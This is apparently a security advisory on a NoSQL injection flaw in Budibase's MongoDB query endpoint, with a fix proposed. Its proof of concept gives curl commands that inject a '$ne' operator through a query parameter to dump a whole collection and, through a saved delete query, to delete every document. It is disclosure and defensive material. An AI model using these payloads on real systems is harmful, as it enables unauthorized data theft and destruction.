Budibase: NoSQL Injection via JSON Parameter Interpolation in MongoDB Query Execution

The route requires only PermissionType.QUERY, PermissionLevel.WRITE (packages/server/src/api/routes/query.ts:27), which is available to regular app users — not restricted to builders or admins. Critically, the execute endpoint has no Joi schema validation on the request body, unlike the save and preview endpoints.

PoC

Prerequisites: A Budibase instance with a MongoDB datasource and a saved query that accepts a parameter interpolated into the query JSON (e.g., a find query with {"username": "{{username}}"}).

Step 1: Authenticate as a regular app user

TOKEN=$(curl -s -X POST http://localhost:10000/api/global/auth \
  -H "Content-Type: application/json" \
  -d '{"username":"[email protected]","password":"password"}' \
  -c - | grep budibase:auth | awk '{print $NF}')

Step 2: Execute the query normally (returns only matching document)

curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
  -H "Content-Type: application/json" \
  -b "budibase:auth=$TOKEN" \
  -d '{"parameters": {"username": "alice"}}'
# Returns: [{"username": "alice", ...}]

Step 3: Inject NoSQL operator to dump all documents

curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
  -H "Content-Type: application/json" \
  -b "budibase:auth=$TOKEN" \
  -d '{"parameters": {"username": "\", \"$ne\": \""}}'
# Returns: [{"username": "alice", ...}, {"username": "bob", ...}, {"username": "admin", ...}, ...]

The injected value ", "$ne": " transforms the query from {"username": "alice"} to {"username": "", "$ne": ""}, which matches all documents where username is not empty.

Step 4: Delete all documents via a delete query (if a delete-type query is saved)

curl -s -X POST http://localhost:10000/api/v2/queries/query_del456 \
  -H "Content-Type: application/json" \
  -b "budibase:auth=$TOKEN" \
  -d '{"parameters": {"username": "\", \"$ne\": \""}}'
# Deletes ALL documents matching the injected filter

Impact

• Data exfiltration: Any app user with query write permission can bypass intended query filters to read all documents in a MongoDB collection, including sensitive data belonging to other users or tenants.
• Data modification: Through updateMany queries, attackers can modify arbitrary documents in bulk by injecting broadened filters.
• Data destruction: Through deleteMany queries, attackers can delete all documents matching an injected filter, potentially wiping entire collections.
• Authorization bypass: The attack requires only QUERY WRITE permission, which is a standard app-level permission — not builder or admin access. This means any regular application user can exploit saved MongoDB queries they have access to execute.

Recommended Fix

Sanitize parameter values before interpolation by escaping JSON metacharacters. Apply this in enrichContext() before the processStringSync call:

packages/server/src/sdk/workspace/queries/queries.ts

// Add this helper function
function escapeJsonValue(value: string): string {
  return value.replace(/\\/g, "\\\\").replace(/"/g, '\\"')
}

// In enrichContext(), sanitize parameters before interpolation
for (const [key, value] of Object.entries(parameters)) {
  if (typeof value === "string") {
    parameters[key] = escapeJsonValue(value)
  }
}

Alternatively, adopt a parameterized query approach: instead of string interpolation into JSON, parse the template JSON first and then inject parameter values into the parsed object at the value level, preventing any structural modification of the query.

Additionally, add Joi validation to the execute endpoint (POST /api/v2/queries/:queryId) to constrain the shape of incoming parameter values, consistent with the validation already present on the save and preview endpoints.